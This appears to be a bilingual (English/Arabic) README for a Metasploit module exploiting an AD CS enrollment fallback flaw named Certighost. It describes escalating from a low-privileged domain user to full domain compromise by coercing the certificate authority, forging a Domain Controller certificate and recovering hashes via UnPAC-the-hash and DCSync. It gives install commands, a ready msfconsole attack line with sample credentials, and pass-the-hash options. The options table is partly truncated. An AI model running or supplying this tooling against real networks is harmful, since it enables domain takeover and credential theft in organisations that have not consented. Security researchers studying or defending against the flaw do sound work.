nafiez/metasploit-cve-2026-54121-certighostA Metasploit auxiliary module that escalates from any low-privileged domain user to full domain compromise by abusing the AD CS enrollment "chase" fallback. The CA can be coerced into authenticating back to attacker-controlled infrastructure and then issuing a certificate that impersonates a Domain Controller.
تم اكتشاف Certighost واستغلاله في الأصل بواسطة h0j3n وAniq Fakhrul. يحتوي هذا المستودع على وحدة Metasploit المساعدة التي تصعّد من أي مستخدم نطاق منخفض الصلاحيات إلى اختراق كامل للنطاق عبر إساءة استخدام آلية «chase» الاحتياطية لتسجيل AD CS. يمكن إكراه المرجع المصدق (CA) على المصادقة عائدة إلى بنية تحتية يتحكم بها المهاجم، ومن ثم إصدار شهادة تنتحل هوية وحدة تحكم بالنطاق (Domain Controller). تُستخدم هذه الشهادة في PKINIT، ويستعيد UnPAC-the-hash تجزئة NT الخاصة بوحدة التحكم بالنطاق، ويتولى DCSync باقي المهمة.
mkdir -p ~/.msf4/modules/auxiliary/admin/dcerpc
cp cve_2026_54121_certighost.rb ~/.msf4/modules/auxiliary/admin/dcerpc/
تحقق من أن الوحدة تُحلَّل وتُحمَّل بشكل صحيح:
ruby -c ~/.msf4/modules/auxiliary/admin/dcerpc/cve_2026_54121_certighost.rb
msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; show options; exit"
المنفذان 389 و445 من المنافذ المميزة (privileged ports)، لذا يجب تشغيل الوحدة بصلاحيات الجذر (root).

تشغيل msfconsole

يقبل NTLM_HASH تجزئة NT مجردة، أو :NT، أو LM:NT. عند تعيين كلٍّ من PASSWORD وNTLM_HASH معًا، تكون التجزئة هي المعتمدة.
مفيدة عندما تريد الحصول على الشهادة لاستخدامها دون اتصال أو لاحقًا:
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION REQUEST_CERT; run"

CLEANUP_ACCOUNT true no Delete the machine account when finished. Needs privileged credentials: the accoun
t's own creator has no DELETE right on it. With ACTION FULL the Administrator hash
recovered by DCSync is used automatically
CLEANUP_HASH no LM:NT or NT hash for CLEANUP_USER (pass-the-hash)

overed by DCSync, else USERNAME)

NTLM_HASH no NT hash for USERNAME, for pass-the-hash. Accepts LM:NT, :NT or a bare NT hash
NTLM_VALIDATE true no Validate the CA's NTLM auth via the Netlogon oracle. Set false to blindly accept i
t (no SMB signing) - useful to test whether the CA chase reaches LSA/LDAP at all,

ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
OUTPUT_DIR no Directory for the .pfx and .ccache files (defaults to the current working director
y)

SMBUser no The username to authenticate as
SSL false no Enable SSL on the LDAP connection
